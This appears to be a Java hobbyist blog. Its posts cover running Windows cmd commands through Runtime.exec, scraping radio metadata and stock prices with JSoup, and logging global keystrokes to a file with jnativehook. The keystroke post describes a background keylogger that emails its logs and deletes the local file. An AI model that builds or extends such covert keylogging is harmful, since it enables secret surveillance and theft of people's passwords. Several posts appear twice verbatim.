The following is a brief exploration of ways in which command line arguments can be called in a java program, first by setting a 'Runtime' variable, then executing an argument (String) with this variable as a process. A useful list of arguments is also provided right at the end for those who want to experiment.
public static void main(String[] args) throws IOException {
try
{
Runtime rt = Runtime.getRuntime();
String cmdString = "cmd /c label e:ThisDrive";
Process pr = rt.exec(cmdString);
}
catch (Exception e)
{
System.out.println(e.toString());
e.printStackTrace();
}
}
}
This block of code renames whatever drive is connected to E:/ to 'ThisDrive'. The following example shows a method to obtain information about the system in use, & any processes which are currently running, in the style of Windows task manager :
public static void main(String args[]) throws AWTException, IOException
{
try
{
Runtime rt = Runtime.getRuntime();
String cmdString = "cmd /c hostname";
System.out.println("Hostname: ");
Process pr = rt.exec(cmdString);
BufferedReader input = new BufferedReader(new InputStreamReader(
pr.getInputStream()));
String line = null;
while ((line = input.readLine()) != null)
{
System.out.println(line);
}
}
catch (Exception e)
{
System.out.println(e.toString());
e.printStackTrace();
}
try
{
Runtime rt = Runtime.getRuntime();
String cmdString = "cmd /c whoami";
System.out.println("\nUser: ");
Process pr = rt.exec(cmdString);
BufferedReader input = new BufferedReader(new InputStreamReader(
pr.getInputStream()));
String line = null;
while ((line = input.readLine()) != null)
{
System.out.println(line);
}
}
catch (Exception e)
{
System.out.println(e.toString());
e.printStackTrace();
}
try
{
Runtime rt = Runtime.getRuntime();
String cmdString = "cmd /c date /t";
System.out.println("\nSystem Date: ");
Process pr = rt.exec(cmdString);
BufferedReader input = new BufferedReader(new InputStreamReader(
pr.getInputStream()));
String line = null;
while ((line = input.readLine()) != null)
{
System.out.println(line);
}
}
catch (Exception e)
{
System.out.println(e.toString());
e.printStackTrace();
}
try
{
Runtime rt = Runtime.getRuntime();
String cmdString = "cmd /c tasklist";
System.out.println("\nCurrent Tasks: ");
Process pr = rt.exec(cmdString);
BufferedReader input = new BufferedReader(new InputStreamReader(
pr.getInputStream()));
String line = null;
while ((line = input.readLine()) != null)
{
System.out.println(line);
}
}
catch (Exception e)
{
System.out.println(e.toString());
e.printStackTrace();
}
}
The first block here runs a command line argument asking for the name of the current System & returns it. Next, the username is called for & returned, then the current date & finally a list of system processes. The output will look akin to this :
run:
Hostname:
John
User:
John/ Vitrus
System Date:
10/02/2015
Current Tasks:
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 4 K
System 4 Services 0 17,096 K
smss.exe 320 Services 0 472 K
csrss.exe 556 Services 0 2,860 K
wininit.exe 636 Services 0 2,248 K
services.exe 744 Services 0 4,276 K
lsass.exe 764 Services 0 8,956 K
svchost.exe 832 Services 0 9,472 K
svchost.exe 876 Services 0 6,136 K
svchost.exe 988 Services 0 15,412 K
svchost.exe 240 Services 0 38,728 K
svchost.exe 364 Services 0 11,720 K
igfxCUIService.exe 584 Services 0 2,140 K
svchost.exe 660 Services 0 76,292 K
svchost.exe 768 Services 0 12,072 K
spoolsv.exe 1220 Services 0 10,308 K
svchost.exe 1264 Services 0 18,152 K
dasHost.exe 1384 Services 0 6,568 K
HeciServer.exe 1424 Services 0 1,028 K
Service.exe 1508 Services 0 1,612 K
mfevtps.exe 1532 Services 0 3,336 K
NitroPDFDriverService9x64 1564 Services 0 568 K
NLSSRV32.EXE 1596 Services 0 60 K
RichVideo64.exe 1660 Services 0 1,104 K
svchost.exe 1708 Services 0 7,256 K
McAPExe.exe 1780 Services 0 652 K
mcshield.exe 1820 Services 0 152,424 K
mfefire.exe 1900 Services 0 3,428 K
McSvHost.exe 1956 Services 0 28,020 K
svchost.exe 2184 Services 0 2,264 K
WUDFHost.exe 2432 Services 0 2,756 K
svchost.exe 2932 Services 0 5,232 K
CltMngSvc.exe 2964 Services 0 2,904 K
McCSPServiceHost.exe 2544 Services 0 4,828 K
SearchIndexer.exe 1244 Services 0 28,884 K
PresentationFontCache.exe 2440 Services 0 2,140 K
GoogleCrashHandler.exe 1516 Services 0 868 K
GoogleCrashHandler64.exe 3392 Services 0 132 K
WmiPrvSE.exe 5624 Services 0 12,712 K
csrss.exe 5748 Console 7 35,048 K
winlogon.exe 6024 Console 7 4,736 K
dwm.exe 4192 Console 7 23,448 K
cltmng.exe 5212 Console 7 29,220 K
cltmngui.exe 5980 Console 7 10,980 K
taskhostex.exe 2312 Console 7 9,712 K
McUICnt.exe 5372 Console 7 33,696 K
explorer.exe 3196 Console 7 68,696 K
igfxHK.exe 5204 Console 7 8,236 K
igfxTray.exe 5336 Console 7 9,484 K
igfxEM.exe 6112 Console 7 10,664 K
taskhost.exe 1148 Console 7 5,908 K
SkyDrive.exe 3356 Console 7 13,636 K
chrome.exe 5420 Console 7 142,224 K
chrome.exe 5596 Console 7 73,912 K
RAVCpl64.exe 2260 Console 7 9,508 K
chrome.exe 5384 Console 7 76,328 K
hotkey.exe 2568 Console 7 5,264 K
SettingSyncHost.exe 5704 Console 7 3,616 K
JME_LOAD.exe 5716 Console 7 5,704 K
PDVD10Serv.exe 4684 Console 7 5,524 K
CLMLSvc.exe 1948 Console 7 7,464 K
CCleaner64.exe 5744 Console 7 848 K
livecomm.exe 1892 Console 7 13,964 K
RuntimeBroker.exe 5932 Console 7 14,304 K
WWAHost.exe 752 Console 7 57,660 K
taskhostex.exe 4676 Services 0 4,640 K
taskhost.exe 3560 Console 7 13,308 K
audiodg.exe 4272 Services 0 14,384 K
chrome.exe 3120 Console 7 226,728 K
chrome.exe 4496 Console 7 220,624 K
chrome.exe 3620 Console 7 94,916 K
netbeans64.exe 3292 Console 7 565,888 K
taskeng.exe 3640 Services 0 4,384 K
java.exe 4752 Console 7 14,056 K
conhost.exe 3936 Console 7 3,240 K
cmd.exe 4356 Console 7 2,028 K
conhost.exe 3664 Console 7 3,228 K
tasklist.exe 4280 Console 7 5,372 K
Hopefully this was of some use to those wishing to understand cmd arguments in java a little better. The following link is a useful resource on such commands, though a list is also available from cmd itself by typing 'help' or 'help' + whatever command you need information on :
An A-Z Index of the Windows CMD command line
Tuesday, February 10, 2015
Thursday, January 29, 2015
Global KeyEvents in Java
Considering a number of ways that I could log keyboard input using java outside of an IDE, I ran into a problem. Namely, that created programs were limited as the methods tracking input from a keyboard would lose focus when a user clicks from one window into, say, their desktop or another component. Luckily, I came across a great library, known as jnativehook (https://code.google.com/p/jnativehook/) which allows for global keyEvents. An example of using the library to write keyboard input to a predefined file - encrypting its content as keyEvents occur (using jasypt) - is shown :
public void nativeKeyReleased(NativeKeyEvent e) {
System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
try {
String keyString;
keyString = NativeKeyEvent.getKeyText(e.getKeyCode()) + "'";
if (!a.exists()) {
a.createNewFile();
}
FileWriter fw = new FileWriter(a.getAbsoluteFile(), true);
BufferedWriter bw = new BufferedWriter(fw);
PassEncryptor.setPassword("jstraightup");
String myEncryptedText = PassEncryptor.encrypt(keyString);
bw.append(keyString);
bw.append(keyString);
bw.newLine();
bw.close();
} catch (Exception e1) {
e1.printStackTrace();
}
}
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws NativeHookException, IOException, InterruptedException {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
/* Construct the example object and initialze native hook. */
GlobalScreen.getInstance().addNativeKeyListener(new Main());
Another useful implementation of this great library could be the creation of shortcuts specific to applications, which allow them to be minimised or maximised, or given any amount of standard program functions without having to fret about focus-loss. The above code is part of a larger project I have been working on - an implementation of a keylogging application for home desktop or laptop security, which runs in the background and routinely sends data to an email, thereafter deleting the file to which the logging data was written and beginning again. Partly inspired by the following very entertaining Defcon talk :
https://www.youtube.com/watch?v=U4oB28ksiIo
public void nativeKeyReleased(NativeKeyEvent e) {
System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
try {
String keyString;
keyString = NativeKeyEvent.getKeyText(e.getKeyCode()) + "'";
if (!a.exists()) {
a.createNewFile();
}
FileWriter fw = new FileWriter(a.getAbsoluteFile(), true);
BufferedWriter bw = new BufferedWriter(fw);
PassEncryptor.setPassword("jstraightup");
String myEncryptedText = PassEncryptor.encrypt(keyString);
bw.append(keyString);
bw.append(keyString);
bw.newLine();
bw.close();
} catch (Exception e1) {
e1.printStackTrace();
}
}
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws NativeHookException, IOException, InterruptedException {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
/* Construct the example object and initialze native hook. */
GlobalScreen.getInstance().addNativeKeyListener(new Main());
Another useful implementation of this great library could be the creation of shortcuts specific to applications, which allow them to be minimised or maximised, or given any amount of standard program functions without having to fret about focus-loss. The above code is part of a larger project I have been working on - an implementation of a keylogging application for home desktop or laptop security, which runs in the background and routinely sends data to an email, thereafter deleting the file to which the logging data was written and beginning again. Partly inspired by the following very entertaining Defcon talk :
https://www.youtube.com/watch?v=U4oB28ksiIo
Thursday, January 22, 2015
JSoup, Internet Radio & Stock Market Data
JSoup (http://jsoup.org/) is a powerful java parsing library containing many useful methods for extracting information from sites' html code. My interest in it arose when I had to find some way of obtaining meta-data for a client's radio station & printing it to a non-editable JTextArea in a Swing layout. Here was the solution I came up with :
Document doc;
try {
doc = Jsoup.connect("http://37.187.193.36:8104/index.html").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2").get();
String title = doc.title();
Element body = doc.body();
Elements bTags = body.getElementsByTag("b");
for(Element i : bTags){
if(i.toString().contains("-") && !i.toString().contains("Nullsoft")){
System.out.println(i.text());
metainfo.setText("Now Playing: " + "\n" + i.text());
metainfo.setWrapStyleWord(true);
}
}
} catch (IOException ex) {
Logger.getLogger(EVRNMediaPlayer.class.getName()).log(Level.SEVERE, null, ex);
}
I knew the exact address from which I could obtain the information, which is accessed by JSoup using the connect() method. However, it would have been impossible if it were not for userAgent(). Once the title & body of the document was obtained, it was possible to filter out the <b> tags from the body, one of which contained the information needed. These were stored in an array, and knowing that the 'current song' information was the only string in that list that contained the dash symbol - apart from a copyright notice by Nullsoft at the end - I set up the enhanced for loop. This iterated through the <b> tags & their content and converted the entry which contained a dash, and did not contain 'Nullsoft', giving me my result. The text was then set as the metainfo text on the JTextArea & voila!
A second example of the usefulness of JSoup, is seen in this code :
String[] codes = {"AAPL", "MSFT"};
String baseUrl = "http://finance.yahoo.com/q?s=";
String ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.33 (KHTML, like Gecko) Chrome/27.0.1438.7 Safari/537.33";
for (String code : codes) {
String url = baseUrl + code;
Document doc = Jsoup.connect(url).userAgent(ua).timeout(10*1000).get();
String price = doc.select(".time_rtq_ticker").first().text();
String name = doc.select(".title h2").first().text();
System.out.println(String.format("%s [%s] is trading at %s", name, code, price));
}
Firstly, the array contains codes related to the stock market, namely for Apple & Microsoft! Creating a baseUrl and user agent follows. Similar to my other approach, this code example uses an enhanced for loop to iterate through the 'codes' array using the String 'code', and adds a company code to the baseUrl in the sequence in which they occur in the array. Then, as before Jsoup connects to the concatenated 'url' (with the additional timeout parameter being added) & filters the html, whilst creating a price and name String, which are finally formatted in a manner which displays them as readable. The output for this code is :
"Apple Inc. (AAPL) [AAPL] is trading at 109.55
Microsoft Corporation (MSFT) [MSFT] is trading at 45.92"
Document doc;
try {
doc = Jsoup.connect("http://37.187.193.36:8104/index.html").userAgent("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2").get();
String title = doc.title();
Element body = doc.body();
Elements bTags = body.getElementsByTag("b");
for(Element i : bTags){
if(i.toString().contains("-") && !i.toString().contains("Nullsoft")){
System.out.println(i.text());
metainfo.setText("Now Playing: " + "\n" + i.text());
metainfo.setWrapStyleWord(true);
}
}
} catch (IOException ex) {
Logger.getLogger(EVRNMediaPlayer.class.getName()).log(Level.SEVERE, null, ex);
}
I knew the exact address from which I could obtain the information, which is accessed by JSoup using the connect() method. However, it would have been impossible if it were not for userAgent(). Once the title & body of the document was obtained, it was possible to filter out the <b> tags from the body, one of which contained the information needed. These were stored in an array, and knowing that the 'current song' information was the only string in that list that contained the dash symbol - apart from a copyright notice by Nullsoft at the end - I set up the enhanced for loop. This iterated through the <b> tags & their content and converted the entry which contained a dash, and did not contain 'Nullsoft', giving me my result. The text was then set as the metainfo text on the JTextArea & voila!
A second example of the usefulness of JSoup, is seen in this code :
String[] codes = {"AAPL", "MSFT"};
String baseUrl = "http://finance.yahoo.com/q?s=";
String ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.33 (KHTML, like Gecko) Chrome/27.0.1438.7 Safari/537.33";
for (String code : codes) {
String url = baseUrl + code;
Document doc = Jsoup.connect(url).userAgent(ua).timeout(10*1000).get();
String price = doc.select(".time_rtq_ticker").first().text();
String name = doc.select(".title h2").first().text();
System.out.println(String.format("%s [%s] is trading at %s", name, code, price));
}
Firstly, the array contains codes related to the stock market, namely for Apple & Microsoft! Creating a baseUrl and user agent follows. Similar to my other approach, this code example uses an enhanced for loop to iterate through the 'codes' array using the String 'code', and adds a company code to the baseUrl in the sequence in which they occur in the array. Then, as before Jsoup connects to the concatenated 'url' (with the additional timeout parameter being added) & filters the html, whilst creating a price and name String, which are finally formatted in a manner which displays them as readable. The output for this code is :
"Apple Inc. (AAPL) [AAPL] is trading at 109.55
Microsoft Corporation (MSFT) [MSFT] is trading at 45.92"
Subscribe to:
Comments (Atom)